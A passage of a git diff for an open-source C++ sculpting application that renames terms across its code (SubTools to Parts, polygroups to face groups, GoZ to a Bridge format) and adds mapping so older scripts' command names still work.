- if (id != "polygroups" && id != "parts") return {false, "id must be polygroups or parts"}; // marks-pending
- st.idSource = id == "parts" ? BakeSettings::IdSource::Parts : BakeSettings::IdSource::Polygroups;
+ const std::string id = argString(a, "id", "facegroups");
+ if (id != "facegroups" && id != "parts") return {false, "id must be facegroups or parts"};
+ st.idSource = id == "parts" ? BakeSettings::IdSource::Parts : BakeSettings::IdSource::FaceGroups;
// The meshes: other Parts onto the active one, or the active Part's own levels.
const std::string sourceArg = argString(a, "source", "all");
@@ -1148,8 +1148,8 @@ void registerBakeCommands(CommandRegistry& reg) {
sources.push_back(&levelHigh);
} else {
std::vector<int> idx;
- if (!bakeSourceSubtools(doc, sourceArg, idx, err)) return {false, err};
- for (int i : idx) sources.push_back(&doc.subtoolMesh(i));
+ if (!bakeSourceParts(doc, sourceArg, idx, err)) return {false, err};
+ for (int i : idx) sources.push_back(&doc.partMesh(i));
}
std::vector<BakeResult> results;
if (argBool(a, "udim", true)) {
@@ -1159,7 +1159,7 @@ void registerBakeCommands(CommandRegistry& reg) {
if (!bakeMaps(*low, sources, st, results.back(), err)) return {false, err};
}
auto result = std::make_shared<BakeResult>(results.front());
- std::string name = argString(a, "name", doc.activeSubtoolInfo().name);
+ std::string name = argString(a, "name", doc.activePartInfo().name);
for (char& c : name)
if (c == '/' || c == '\\' || c == ':' || c == '*' || c == '?' || c == '"' || c == '<' || c == '>' || c == '|')
c = '_';
diff --git a/src/core/Bake.h b/src/core/Bake.h
index 279c9ce2..2e62a578 100644
--- a/src/core/Bake.h
+++ b/src/core/Bake.h
@@ -1,13 +1,13 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Map baking: the detail of a high-poly sculpt (one or more SubTools) captured as images on the UVs of a
-// low-poly SubTool, for game engines and renderers. Maps: tangent-space normal (MikkTSpace, core/Tangents.h,
+// Map baking: the detail of a high-poly sculpt (one or more Parts) captured as images on the UVs of a
+// low-poly Part, for game engines and renderers. Maps: tangent-space normal (MikkTSpace, core/Tangents.h,
// so Blender, Unreal, Unity and Godot show it right), object-space (= world) normal, displacement, ambient
-// occlusion, cavity, colour (polypaint or the source's painted texture), and the Mesh Maps texturing reads:
+// occlusion, cavity, colour (vertex paint or the source's painted texture), and the Mesh Maps texturing reads:
// curvature (convex edges bright, concave dark, from the surface's mean curvature at a set radius), thickness
// (how far rays travel inside the surface), position (in the bounding box, 16-bit) and ID (a flat colour per
-// polygroup or per Part).
+// face group or per Part).
//
// Sources: other Parts (the classic high-to-low bake), or the active Part's own top subdivision level baked onto
// its lowest level, or its micro level onto its base (bakeLevelSources). UVs outside 0..1 bake as UDIM tiles,
@@ -62,8 +62,8 @@ struct BakeSettings {
int thicknessRays = 24; // per texel
float thicknessDistance = 0.1f; // rays longer than this count as thick, x bounding-box diagonal
float curvatureRadius = 0.02f; // a bend of this radius (x diagonal) is fully bright / dark
- enum class IdSource : uint8_t { Polygroups, Parts };
- IdSource idSource = IdSource::Polygroups;
+ enum class IdSource : uint8_t { FaceGroups, Parts };
+ IdSource idSource = IdSource::FaceGroups;
};
struct BakeResult {
@@ -93,7 +93,7 @@ struct BakeResult {
using BakeProgress = std::function<bool(float)>;
// Bakes `sources` (meshes, hidden triangles skipped) onto the UVs of `low`. Needs UVs on `low`, valid normals
-// on every mesh. Colour comes from each source's texture when it has one, else its polypaint.
+// on every mesh. Colour comes from each source's texture when it has one, else its vertex paint.
bool bakeMaps(const Mesh& low, const std::vector<const Mesh*>& sources, const BakeSettings& settings, BakeResult& result,
std::string& error, const BakeProgress& progress = {});
@@ -127,9 +127,9 @@ bool saveBakeMaps(const BakeResult& result, const std::string& folder, const std
// One line for people: what was baked, the ranges, the displacement scale and the time.
std::string bakeSummary(const BakeResult& result);
-// The SubTools a "source" argument names for baking onto the active SubTool: "all" (or empty) = every visible
-// SubTool but the active one, "visible" likewise, otherwise a SubTool name. False + error when none qualify.
-bool bakeSourceSubtools(const Document& doc, const std::string& source, std::vector<int>& indices, std::string& error);
+// The Parts a "source" argument names for baking onto the active Part: "all" (or empty) = every visible
+// Part but the active one, "visible" likewise, otherwise a Part name. False + error when none qualify.
+bool bakeSourceParts(const Document& doc, const std::string& source, std::vector<int>& indices, std::string& error);
// Where maps go when no folder is given: the project's folder, else the current folder.
std::string defaultBakeFolder(const Document& doc);
diff --git a/src/core/Benchmark.cpp b/src/core/Benchmark.cpp
index 0deae298..dee264cf 100644
--- a/src/core/Benchmark.cpp
+++ b/src/core/Benchmark.cpp
@@ -8,7 +8,7 @@
#include "core/Micro.h"
#include "core/FocusDetail.h"
#include "core/Multires.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include "core/Project.h"
#include "core/Texture.h"
@@ -70,11 +70,11 @@ size_t peakResidentBytes() {
MemoryUse documentMemory(const Document& doc) {
MemoryUse u;
- std::vector<const PaintTexture*> seen; // textures shared between SubTools count once
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- const bool active = i == doc.activeSubtool;
- const SubTool& st = doc.subtools[size_t(i)];
- const Mesh& m = doc.subtoolMesh(i);
+ std::vector<const PaintTexture*> seen; // textures shared between Parts count once
+ for (int i = 0; i < doc.partCount(); ++i) {
+ const bool active = i == doc.activePart;
+ const Part& st = doc.parts[size_t(i)];
+ const Mesh& m = doc.partMesh(i);
u.mesh += m.memoryBytes();
if (m.texture && std::find(seen.begin(), seen.end(), m.texture.get()) == seen.end()) {
seen.push_back(m.texture.get());
@@ -86,9 +86,9 @@ MemoryUse documentMemory(const Document& doc) {
u.triangles += m.triangleCount();
u.vertices += m.vertexCount();
if (st.visible) // the renderer's cluster layout (core/UploadOrder.h): packed vertices (12 bytes, + colour 4,
- // mask 1), about a tenth more for the copies on cluster seams; 16-bit indices and polygroups
+ // mask 1), about a tenth more for the copies on cluster seams; 16-bit indices and face groups
u.gpu += m.vertexCount() * (12 + (m.hasColors() ? 4 : 0) + (m.hasMask() ? 1 : 0)) * 11 / 10 +
- m.triangleCount() * (6 + (m.hasPolygroups() ? 2 : 0));
+ m.triangleCount() * (6 + (m.hasFaceGroups() ? 2 : 0));
}
// Material channel tiles from the atomic count (every texture, copies and undo steps): no tile walk here, so
// the readout is safe whatever else is painting.
@@ -373,7 +373,7 @@ int runBenchCommandLine(BenchCommandLine cl, const std::string& heading, const B
namespace {
// Dynamic topology (core/Dyntopo.h): strokes that remesh as they go, on spheres without subdivision levels
-// (Sculptris Pro works on such meshes only). Each row starts from the same sphere.
+// (dynamic topology works on such meshes only). Each row starts from the same sphere.
std::string runDyntopoBenchmark(const BenchOptions& o, const BenchGpu* gpu) {
auto log = [&](const std::string& s) {
if (o.log) o.log(s);
@@ -391,7 +391,7 @@ std::string runDyntopoBenchmark(const BenchOptions& o, const BenchGpu* gpu) {
{{"Standard, Detail 50%", Kind::Brush, BrushType::Standard}, 0.5f},
{{"Standard, Detail 100%", Kind::Brush, BrushType::Standard}, 1.0f},
{{"Tendril, Detail 50%", Kind::Brush, BrushType::SnakeHook}, 0.5f},
- {{"Clay Block, Detail 75%", Kind::Brush, BrushType::ClayBuildup}, 0.75f},
+ {{"Clay Block, Detail 75%", Kind::Brush, BrushType::ClayBlock}, 0.75f},
{{"Smooth (simplifies), Detail 50%", Kind::Brush, BrushType::Smooth}, 0.5f},
{{"Standard (large, r 0.4), Detail 50%", Kind::Brush, BrushType::Standard, 0.4f}, 0.5f},
};
@@ -456,7 +456,7 @@ std::string runMicroBenchmark(const BenchOptions& o, const BenchGpu* gpu) {
{"Standard (large, r 0.4)", Kind::Brush, BrushType::Standard, 0.4f},
{"Standard (300 px, r 0.56)", Kind::Brush, BrushType::Standard, 0.56f},
{"Clay", Kind::Brush, BrushType::Clay},
- {"Clay Block", Kind::Brush, BrushType::ClayBuildup},
+ {"Clay Block", Kind::Brush, BrushType::ClayBlock},
{"Smooth", Kind::Brush, BrushType::Smooth},
{"Smooth (large, r 0.4)", Kind::Brush, BrushType::Smooth, 0.4f},
{"Inflate", Kind::Brush, BrushType::Inflate},
@@ -683,11 +683,11 @@ std::string runBenchmark(const BenchOptions& o, const BenchGpu* gpu) {
{"Standard", Kind::Brush, BrushType::Standard},
{"Standard (large, r 0.4)", Kind::Brush, BrushType::Standard, 0.4f},
{"Clay", Kind::Brush, BrushType::Clay},
- {"Clay Block", Kind::Brush, BrushType::ClayBuildup},
+ {"Clay Block", Kind::Brush, BrushType::ClayBlock},
{"Smooth", Kind::Brush, BrushType::Smooth},
{"Smooth (large, r 0.4)", Kind::Brush, BrushType::Smooth, 0.4f},
{"Inflate", Kind::Brush, BrushType::Inflate},
- {"Sharp Crease", Kind::Brush, BrushType::DamStandard},
+ {"Sharp Crease", Kind::Brush, BrushType::SharpCrease},
{"Layer", Kind::Brush, BrushType::Layer},
{"Move", Kind::Move, BrushType::Move},
{"Move (large, r 0.4)", Kind::Move, BrushType::Move, 0.4f},
diff --git a/src/core/Benchmark.h b/src/core/Benchmark.h
index b9532f07..9c6a9532 100644
--- a/src/core/Benchmark.h
+++ b/src/core/Benchmark.h
@@ -88,13 +88,13 @@ size_t residentBytes();
size_t peakResidentBytes();
size_t resetPeakResidentBytes();
-// What the scene holds in memory, summed over SubTools (Preferences > Performance, perf_info).
+// What the scene holds in memory, summed over Parts (Preferences > Performance, perf_info).
struct MemoryUse {
size_t mesh = 0; // meshes with topology (Mesh::memoryBytes)
size_t bvh = 0; // acceleration structures
size_t levels = 0; // subdivision level stacks (subdivBytes)
size_t undo = 0; // undo history (UndoStack::undoBytes)
- size_t gpu = 0; // vertex and index buffers the renderer keeps for the visible SubTools (an estimate)
+ size_t gpu = 0; // vertex and index buffers the renderer keeps for the visible Parts (an estimate)
size_t textures = 0; // painted textures (core/Texture.h): colour, layers, material channels (each texture once)
size_t channels = 0; // of `textures`, every material channel tile alive (copies and undo steps too; TileImage::liveBytes)
size_t paintCaches = 0; // texture painting caches of dense meshes (UV tile bins, texel maps), shared per UV layout
diff --git a/src/core/BrushAlpha.h b/src/core/BrushAlpha.h
index b6e46db8..dd52a7a2 100644
--- a/src/core/BrushAlpha.h
+++ b/src/core/BrushAlpha.h
@@ -12,7 +12,7 @@ namespace sf {
class CommandRegistry;
-// Grayscale stamp that shapes a brush's falloff (ZBrush "alpha"). An empty
+// Grayscale stamp that shapes a brush's falloff ("alpha"). An empty
// alpha is the plain round smoothstep falloff, so brushes behave exactly as
// without one. Built-ins: Round (empty), Square, Noise and twelve patterns made
// in code (Pores, Cracks, Scales, Rivets, Stitches, Fabric Weave, Bark, Rock
diff --git a/src/core/CloseHoles.cpp b/src/core/CloseHoles.cpp
index 0d4df1c2..c9cd8822 100644
--- a/src/core/CloseHoles.cpp
+++ b/src/core/CloseHoles.cpp
@@ -456,12 +456,12 @@ bool closeHoles(Mesh& mesh, const CloseHolesOptions& options, CloseHolesStats& s
if (mesh.hasColors()) mesh.colors.insert(mesh.colors.end(), loopColor.begin(), loopColor.end());
if (!before.paintLayers.empty()) copyPaintLayers(before, mesh, kept);
mesh.triangles.insert(mesh.triangles.end(), newTris.begin(), newTris.end());
- if (options.newGroup || mesh.hasPolygroups()) {
+ if (options.newGroup || mesh.hasFaceGroups()) {
uint32_t group = 0;
- for (uint32_t g : mesh.polygroups) group = std::max(group, g);
- const bool had = mesh.hasPolygroups();
- mesh.polygroups.resize(nt0, 0u);
- mesh.polygroups.resize(nt, options.newGroup ? (had ? group + 1 : 1u) : 0u);
+ for (uint32_t g : mesh.facegroups) group = std::max(group, g);
+ const bool had = mesh.hasFaceGroups();
+ mesh.facegroups.resize(nt0, 0u);
+ mesh.facegroups.resize(nt, options.newGroup ? (had ? group + 1 : 1u) : 0u);
}
if (mesh.hasHidden()) mesh.hidden.resize(nt, 0);
if (mesh.hasUvs()) mesh.uvs.resize(nt * 3, glm::vec2(0.0f));
@@ -486,7 +486,7 @@ void registerCloseHolesCommands(CommandRegistry& registry) {
{"new_group", T::Bool, "Give the patches a new face group (default true).", false}},
[](Document& doc, const Args& a) -> CommandResult {
if (doc.mesh.triangleCount() == 0) return {false, "The Part is empty"};
- if (!doc.mesh.zspheres.empty()) return {false, "Close Holes: make Forge Spheres into a mesh first"};
+ if (!doc.mesh.forgespheres.empty()) return {false, "Close Holes: make Forge Spheres into a mesh first"};
if (doc.mesh.micro) return {false, "Close Holes: apply or remove the micro level first"};
CloseHolesOptions o;
o.maxEdges = size_t(std::max(0.0, argNumber(a, "max_edges", 0.0)));
diff --git a/src/core/Commands.cpp b/src/core/Commands.cpp
index 86e5c407..c165b89e 100644
--- a/src/core/Commands.cpp
+++ b/src/core/Commands.cpp
@@ -24,14 +24,14 @@
#include "core/Micro.h"
#include "core/MeshTransform.h"
#include "core/PathStroke.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include "core/SelectionSets.h"
-#include "core/SubTools.h"
-#include "core/Polypaint.h"
+#include "core/Parts.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include "core/Project.h"
#include "core/QRemesh.h"
-#include "core/ZSpheres.h"
+#include "core/ForgeSpheres.h"
#include "core/Deform.h"
#include "core/Sculptable.h"
#include "core/Splats.h"
@@ -39,11 +39,13 @@
#include "core/TextureTransfer.h"
#include "core/Timeline.h"
#include "core/Voxel.h"
+#include "core/LegacyNames.h"
+#include "io/BridgeProtocol.h"
#include "io/FbxIO.h"
#include "io/GltfIO.h"
#include "io/BlenderCommands.h"
-#include "io/GozCommands.h"
-#include "io/GozIO.h"
+#include "io/BridgeCommands.h"
+#include "io/BridgeIO.h"
#include "io/MayaCommands.h"
#include "io/ObjIO.h"
#include "io/PlyIO.h"
@@ -180,20 +182,15 @@ CommandRegistry::CommandRegistry() {
Mesh m;
SplatCloud splats;
std::string err;
- GozInfo goz;
+ BridgeInfo bridge;
bool ok;
- std::string ztoolNote;
if (ext == ".glb" || ext == ".gltf") ok = loadGltf(path, objects, err, &splats);
else if (ext == ".usda" || ext == ".usd" || ext == ".usdz") ok = loadUsd(path, objects, splats, err);
else if (ext == ".splat") ok = loadDotSplat(path, splats, err);
else if (ext == ".fbx") ok = loadFbx(path, objects, err);
- else if (ext == ".goz") ok = loadGoz(path, m, err, &goz);
+ else if (ext == bridgefile::kExtLower) ok = loadBridge(path, m, err, &bridge);
else if (ext == ".stl") ok = loadStl(path, m, err);
- else if (ext == ".ztl" || ext == ".sculptforge") {
- // A ZTool converted in ZBrush by the SculptForge ZTL Export plug-in (GoZ files beside it).
- if (convertedZToolFiles(path).empty()) return {false, zbrushProprietaryMessage(".ztl")};
- ok = loadConvertedZTool(path, objects, err, &ztoolNote);
- } else if (ext == ".zpr" || ext == ".zbr") return {false, zbrushProprietaryMessage(ext)};
+ else if (ext == ".sculptforge") ok = loadBridgeFolder(path, objects, err); // numbered Bridge files
else if (ext == ".ply") {
PlyContent content;
ok = loadPly(path, m, splats, content, err);
@@ -211,12 +208,11 @@ CommandRegistry::CommandRegistry() {
layers = std::max(layers, o.mesh.layers.size());
}
const size_t count = objects.size();
- setSceneObjects(doc, std::move(objects), ext == ".goz" && !goz.name.empty() ? goz.name : fileStem(path));
+ setSceneObjects(doc, std::move(objects), ext == bridgefile::kExtLower && !bridge.name.empty() ? bridge.name : fileStem(path));
doc.path = ext == ".obj" ? path : std::string(); // other formats are exported explicitly
- if (ext == ".goz") doc.gozName = goz.name;
+ if (ext == bridgefile::kExtLower) doc.bridgeName = bridge.name;
msg += " (" + (count > 1 ? std::to_string(count) + " Parts, " : std::string()) + std::to_string(tris) +
" triangles" + (quads == 0 ? "" : ", " + std::to_string(quads) + " quads") + (layers == 0 ? "" : ", " + std::to_string(layers) + " layers") + ")";
- if (!ztoolNote.empty()) msg += "; " + ztoolNote;
}
if (!splats.empty()) {
doc.splats = std::move(splats);
@@ -339,7 +335,7 @@ CommandRegistry::CommandRegistry() {
if (path.empty()) return {false, "No path given"};
if (isProjectPath(path)) return {false, "Use save_project for .sfproj files"};
std::string err;
- const auto objects = visibleSubtoolObjects(doc);
+ const auto objects = visiblePartObjects(doc);
if (objects.empty()) return {false, "Nothing visible to export"};
if (!saveObj(path, objects, err)) return {false, err};
return {true, "Saved " + path + objectCountText(objects)};
@@ -431,7 +427,7 @@ CommandRegistry::CommandRegistry() {
[](Document& doc, const Args& a) -> CommandResult {
std::string path = argString(a, "path");
std::string err;
- const auto objects = visibleSubtoolObjects(doc);
+ const auto objects = visiblePartObjects(doc);
if (objects.empty()) return {false, "Nothing visible to export"};
MorphAnimation take;
const bool animated = bakedFaceAnimation(doc, take);
@@ -452,7 +448,7 @@ CommandRegistry::CommandRegistry() {
std::string path = argString(a, "path");
std::string err;
const SplatCloud* splats = argBool(a, "splats", true) && !doc.splats.empty() ? &doc.splats : nullptr;
- const auto objects = visibleSubtoolObjects(doc);
+ const auto objects = visiblePartObjects(doc);
MorphAnimation take;
const bool animated = bakedFaceAnimation(doc, take);
if (!saveUsd(path, objects, splats, doc.assetName(), err, animated ? &take : nullptr)) return {false, err};
@@ -471,9 +467,9 @@ CommandRegistry::CommandRegistry() {
{"scale", T::Number, "Multiply positions (FBX units are centimetres). Default 100 (1 unit = 1 m).", false}},
[](Document& doc, const Args& a) -> CommandResult {
const int levels = std::clamp(int(argNumber(a, "lods", 1)), 1, 8);
- const auto objects = visibleSubtoolObjects(doc);
+ const auto objects = visiblePartObjects(doc);
if (objects.empty()) return {false, "Nothing visible to export"};
- // One model per visible SubTool; with lods > 1 each gets its own LOD group (see FbxIO.h).
+ // One model per visible Part; with lods > 1 each gets its own LOD group (see FbxIO.h).
std::vector<std::vector<Mesh>> lods(objects.size());
std::vector<FbxObject> fbxObjects;
for (size_t i = 0; i < objects.size(); ++i) {
@@ -513,7 +509,7 @@ CommandRegistry::CommandRegistry() {
std::string err;
if (!exportForUnreal(doc, o, r, err)) return {false, err};
size_t morphs = 0;
- for (const auto& obj : visibleSubtoolObjects(doc)) morphs += obj.mesh->layers.size();
+ for (const auto& obj : visiblePartObjects(doc)) morphs += obj.mesh->layers.size();
return {true, "Exported " + r.path + " (" + (r.skeletal ? "skeletal mesh, " + std::to_string(morphs) + " morph targets"
: "static mesh, " + std::to_string(r.lodCount) + " LODs") + ")"};
}});
@@ -529,13 +525,13 @@ CommandRegistry::CommandRegistry() {
std::filesystem::path base(std::u8string(pathArg.begin(), pathArg.end()));
int levels = std::clamp(int(argNumber(a, "levels", 4)), 1, 8);
float ratio = float(std::clamp(argNumber(a, "ratio", 0.5), 0.1, 0.9));
- const auto objects = visibleSubtoolObjects(doc);
+ const auto objects = visiblePartObjects(doc);
if (objects.empty()) return {false, "Nothing visible to export"};
- // Every visible SubTool is decimated on its own; LOD n of each goes into <name>_LOD<n>.glb.
+ // Every visible Part is decimated on its own; LOD n of each goes into <name>_LOD<n>.glb.
std::vector<std::vector<Mesh>> lods;
for (const auto& o : objects) {
lods.push_back(generateLods(*o.mesh, levels, ratio));
- // Decimation keeps the UVs, so every level can carry the SubTool's texture.
+ // Decimation keeps the UVs, so every level can carry the Part's texture.
for (auto& l : lods.back()) l.texture = o.mesh->texture;
}
auto stemU8 = base.stem().u8string();
@@ -632,7 +628,7 @@ CommandRegistry::CommandRegistry() {
registerCaptureCommands(*this); // capture_alpha, capture_vdm: alpha / VDM from the viewport (ViewCapture.cpp)
registerRetopoCommands(*this); // qremesh, project_all (RetopoCommands.cpp)
registerQRemeshGuideCommands(*this); // qremesh_guide, ... (QRemeshGuides.cpp)
- registerZSphereCommands(*this); // zsphere_new, ... (ZSpheres.cpp)
+ registerForgeSphereCommands(*this); // Forge Sphere_new, ... (Forge Spheres.cpp)
registerDeformCommands(*this); // deform_polish, deform_relax, deform_smooth, deform_balloon (Deform.cpp)
add({"stroke",
@@ -760,8 +756,8 @@ CommandRegistry::CommandRegistry() {
{{"count", T::Number, "Number of splats (1000-5000000). Default 250000.", false},
{"shading", T::Bool, "Bake soft lighting and cavity darkening into the colour. Default true.", false}},
[](Document& doc, const Args& a) -> CommandResult {
- Mesh merged; // no copy for a single SubTool
- const Mesh& visible = doc.subtoolCount() == 1 ? doc.mesh : (merged = mergedVisibleMesh(doc));
+ Mesh merged; // no copy for a single Part
+ const Mesh& visible = doc.partCount() == 1 ? doc.mesh : (merged = mergedVisibleMesh(doc));
if (visible.triangleCount() == 0) return {false, "The mesh is empty"};
MeshToSplatsOptions o;
o.count = size_t(std::clamp(argNumber(a, "count", 250000), 1000.0, 5000000.0));
@@ -782,7 +778,7 @@ CommandRegistry::CommandRegistry() {
add({"undo", "Undo the last action.", {},
[](Document& doc, const Args&) -> CommandResult {
if (!doc.undo.undo(doc.mesh, doc.bvh)) return {false, "Nothing to undo"};
- if (UndoRecord* r = doc.undo.lastRedo(); r && r->subtool) doc.applySubtoolStep(*r->subtool);
+ if (UndoRecord* r = doc.undo.lastRedo(); r && r->part) doc.applyPartStep(*r->part);
doc.modified = true;
return {true, "Undone"};
}});
@@ -790,7 +786,7 @@ CommandRegistry::CommandRegistry() {
add({"redo", "Redo the last undone action.", {},
[](Document& doc, const Args&) -> CommandResult {
if (!doc.undo.redo(doc.mesh, doc.bvh)) return {false, "Nothing to redo"};
- if (UndoRecord* r = doc.undo.lastUndo(); r && r->subtool) doc.applySubtoolStep(*r->subtool);
+ if (UndoRecord* r = doc.undo.lastUndo(); r && r->part) doc.applyPartStep(*r->part);
doc.modified = true;
return {true, "Redone"};
}});
@@ -809,9 +805,9 @@ CommandRegistry::CommandRegistry() {
registerMaskingCommands(*this);
registerCutCommands(*this); // cut (core/Cut.h)
registerCloseHolesCommands(*this); // close_holes (core/CloseHoles.h)
- registerPolygroupCommands(*this);
+ registerFaceGroupCommands(*this);
registerSelectionSetCommands(*this); // selection_set_* (core/SelectionSets.h)
- registerSubToolCommands(*this);
+ registerPartCommands(*this);
registerSubdivCommands(*this); // subdiv_* (core/MultiresCommands.cpp)
registerMicroCommands(*this); // micro_* (core/MicroCommands.cpp)
registerDyntopoCommands(*this); // dyntopo (core/DyntopoCommands.cpp)
@@ -821,8 +817,8 @@ CommandRegistry::CommandRegistry() {
registerPerformanceCommands(*this); // perf_info, set_multithreading (core/Benchmark.cpp)
registerHardwareProfileCommands(*this); // performance_profile, calibrate, set_performance_override (core/HardwareProfile.cpp)
registerTimelineCommands(*this); // timeline_info / seek / select / retune / save / load (core/Timeline.h)
- registerPaintCommands(*this); // core/Polypaint.cpp
- registerGozCommands(*this); // goz_import/export/send/receive, export_stl (io/GozCommands.cpp)
+ registerPaintCommands(*this); // core/Vertex paint.cpp
+ registerBridgeCommands(*this); // bridge_import/export/send/receive, export_stl (io/BridgeCommands.cpp)
registerBlenderCommands(*this); // blender_send/receive (io/BlenderCommands.cpp)
registerMayaCommands(*this); // maya_send/receive (io/MayaCommands.cpp)
registerBakeCommands(*this); // bake (core/Bake.cpp)
@@ -851,20 +847,46 @@ void CommandRegistry::add(Command cmd) {
const Command* CommandRegistry::find(const std::string& name) const {
for (const auto& c : commands_)
if (c.name == name) return &c;
+ if (legacy::isOld(name)) return find(legacy::modernize(name)); // a script or macro from an older version
return nullptr;
}
-CommandResult CommandRegistry::execute(Document& doc, const std::string& name, const Args& args) const {
+namespace {
+// Args from an older version's script: parameter names, and string values when the command refused them as they
+// were (so a user's own text is never changed when the command accepts it).
+Args modernizedArgs(const Args& args, bool values) {
+ Args out;
+ for (const auto& [k, v] : args) {
+ ArgValue nv = v;
+ if (values)
+ if (const std::string* s = std::get_if<std::string>(&v); s && legacy::isOld(*s)) nv = legacy::modernize(*s);
+ out[legacy::modernize(k)] = std::move(nv);
+ }
+ return out;
+}
+bool anyOldValue(const Args& args) {
+ for (const auto& [k, v] : args)
+ if (const std::string* s = std::get_if<std::string>(&v); s && legacy::isOld(*s)) return true;
+ return false;
+}
+} // namespace
+
+CommandResult CommandRegistry::execute(Document& doc, const std::string& name, const Args& givenArgs) const {
const Command* cmd = find(name);
if (!cmd) return {false, "Unknown command: " + name};
+ bool oldKeys = false;
+ for (const auto& [k, v] : givenArgs) oldKeys = oldKeys || legacy::isOld(k);
+ const Args renamedKeys = oldKeys ? modernizedArgs(givenArgs, false) : Args{};
+ const Args& args = oldKeys ? renamedKeys : givenArgs;
for (const auto& p : cmd->params)
if (p.required && !args.contains(p.name)) return {false, "Missing required argument: " + p.name};
doc.notice.clear();
- // Extract's preview lasts until Accept or until anything else changes the scene (as in ZBrush); saving or
+ // Extract's preview lasts until Accept or until anything else changes the scene; saving or
// exporting never writes it.
if (doc.extractPreview.id && name.rfind("extract", 0) != 0)
doc.dropExtractPreview(!(name.rfind("save", 0) == 0 || name.rfind("export", 0) == 0));
CommandResult r = cmd->run(doc, args);
+ if (!r.ok && anyOldValue(args)) r = cmd->run(doc, modernizedArgs(args, true)); // a value an older version used
if (const std::string notice = doc.takeNotice(); !notice.empty() && r.ok) r.message += ". " + notice;
return r;
}
diff --git a/src/core/Cut.cpp b/src/core/Cut.cpp
index da41ff56..56ecbe39 100644
--- a/src/core/Cut.cpp
+++ b/src/core/Cut.cpp
@@ -1229,11 +1229,11 @@ bool cutMesh(const Mesh& mesh, const glm::mat4& viewProj, const std::vector<glm:
m.triangles.resize(ntOut);
uint32_t capGroup = 0;
if (c.prismTriangles > 0) {
- for (uint32_t gid : mesh.polygroups) capGroup = std::max(capGroup, gid);
+ for (uint32_t gid : mesh.facegroups) capGroup = std::max(capGroup, gid);
capGroup += 1;
- m.ensurePolygroups(0);
- } else if (mesh.hasPolygroups()) {
- m.polygroups.resize(ntOut);
+ m.ensureFaceGroups(0);
+ } else if (mesh.hasFaceGroups()) {
+ m.facegroups.resize(ntOut);
}
if (mesh.hasHidden()) m.hidden.assign(ntOut, 0);
if (mesh.hasUvs()) m.uvs.assign(ntOut * 3, glm::vec2(0.0f));
@@ -1244,11 +1244,11 @@ bool cutMesh(const Mesh& mesh, const glm::mat4& viewProj, const std::vector<glm:
m.triangles[t] = glm::uvec3(remap[tr[0]], remap[tr[1]], remap[tr[2]]);
const int64_t parent = c.outParent[t];
if (parent < 0) {
- if (!m.polygroups.empty()) m.polygroups[t] = capGroup;
+ if (!m.facegroups.empty()) m.facegroups[t] = capGroup;
continue;
}
const uint32_t pt = uint32_t(parent);
- if (!m.polygroups.empty()) m.polygroups[t] = mesh.polygroupAt(pt);
+ if (!m.facegroups.empty()) m.facegroups[t] = mesh.facegroupAt(pt);
if (mesh.hasHidden()) m.hidden[t] = mesh.hidden[pt];
if (!c.splitParent[pt]) {
newIndex[pt] = uint32_t(t);
@@ -1310,7 +1310,7 @@ void registerCutCommands(CommandRegistry& registry) {
{"symmetry", T::String, "Mirror axes, e.g. \"x\": the mirror image of the shape cuts too (default none).", false}},
[](Document& doc, const Args& a) -> CommandResult {
if (doc.mesh.triangleCount() == 0) return {false, "The Part is empty"};
- if (!doc.mesh.zspheres.empty()) return {false, "Cut: make Forge Spheres into a mesh first"};
+ if (!doc.mesh.forgespheres.empty()) return {false, "Cut: make Forge Spheres into a mesh first"};
if (doc.mesh.micro) return {false, "Cut: apply or remove the micro level first"};
CutShape shape = CutShape::Lasso;
CutMode mode = CutMode::Away;
diff --git a/src/core/Decimate.cpp b/src/core/Decimate.cpp
index 9dac6779..b146a942 100644
--- a/src/core/Decimate.cpp
+++ b/src/core/Decimate.cpp
@@ -250,7 +250,7 @@ Mesh decimate(const Mesh& src, size_t targetTriangles, bool keepMasked) {
}
out.triangles.push_back(t);
// Surviving faces keep their group, visibility and (updated) corner UVs.
- if (src.polygroups.size() == nt) out.polygroups.push_back(src.polygroups[f]);
+ if (src.facegroups.size() == nt) out.facegroups.push_back(src.facegroups[f]);
if (src.hidden.size() == nt) out.hidden.push_back(src.hidden[f]);
if (!FUV.empty()) out.uvs.insert(out.uvs.end(), FUV.begin() + std::ptrdiff_t(f) * 3, FUV.begin() + std::ptrdiff_t(f) * 3 + 3);
}
diff --git a/src/core/Decimate.h b/src/core/Decimate.h
index 7c0b5fac..73366d17 100644
--- a/src/core/Decimate.h
+++ b/src/core/Decimate.h
@@ -13,7 +13,7 @@ namespace sf {
// boundary preservation, normal-flip and manifold (link condition) checks.
// Collapses keep one endpoint, so output vertices are a subset of the input's
// and sculpt layers / blend shapes, mask and colours carry over exactly;
-// surviving triangles keep their polygroup and hidden flag, and corner UVs
+// surviving triangles keep their face group and hidden flag, and corner UVs
// follow the kept vertex. A decimated result is all triangles (quad pairs are
// dropped). keepMasked: masked vertices (mask >= kKeepMaskedThreshold) are never collapsed, so they and the
// triangles between them come through unchanged (#43).
diff --git a/src/core/Deform.cpp b/src/core/Deform.cpp
index dbc73139..a8f63ee9 100644
--- a/src/core/Deform.cpp
+++ b/src/core/Deform.cpp
@@ -198,7 +198,7 @@ size_t deformActivePart(Document& doc, DeformOp op, const DeformOptions& o, std:
error = name + ": the active Part is empty";
return 0;
}
- if (!mesh.zspheres.empty()) {
+ if (!mesh.forgespheres.empty()) {
error = name + ": the active Part is a Forge Sphere Part (Make Mesh first)";
return 0;
}
diff --git a/src/core/Document.cpp b/src/core/Document.cpp
index c0cc1717..10cac296 100644
--- a/src/core/Document.cpp
+++ b/src/core/Document.cpp
@@ -12,9 +12,9 @@
namespace sf {
Document::Document() {
- subtools.emplace_back();
- subtools.back().id = 1;
- subtools.back().name = "Sculpt";
+ parts.emplace_back();
+ parts.back().id = 1;
+ parts.back().name = "Sculpt";
}
void Document::setMesh(Mesh m, std::string name, BVH* built) {
@@ -25,21 +25,21 @@ void Document::setMesh(Mesh m, std::string name, BVH* built) {
undo.clear();
activeLayer = -1;
bvhDirty = false;
- gozName.clear();
+ bridgeName.clear();
qremeshGuides.clear();
- subtools.clear();
- subtools.emplace_back();
- subtools.back().id = nextSubtoolId_++;
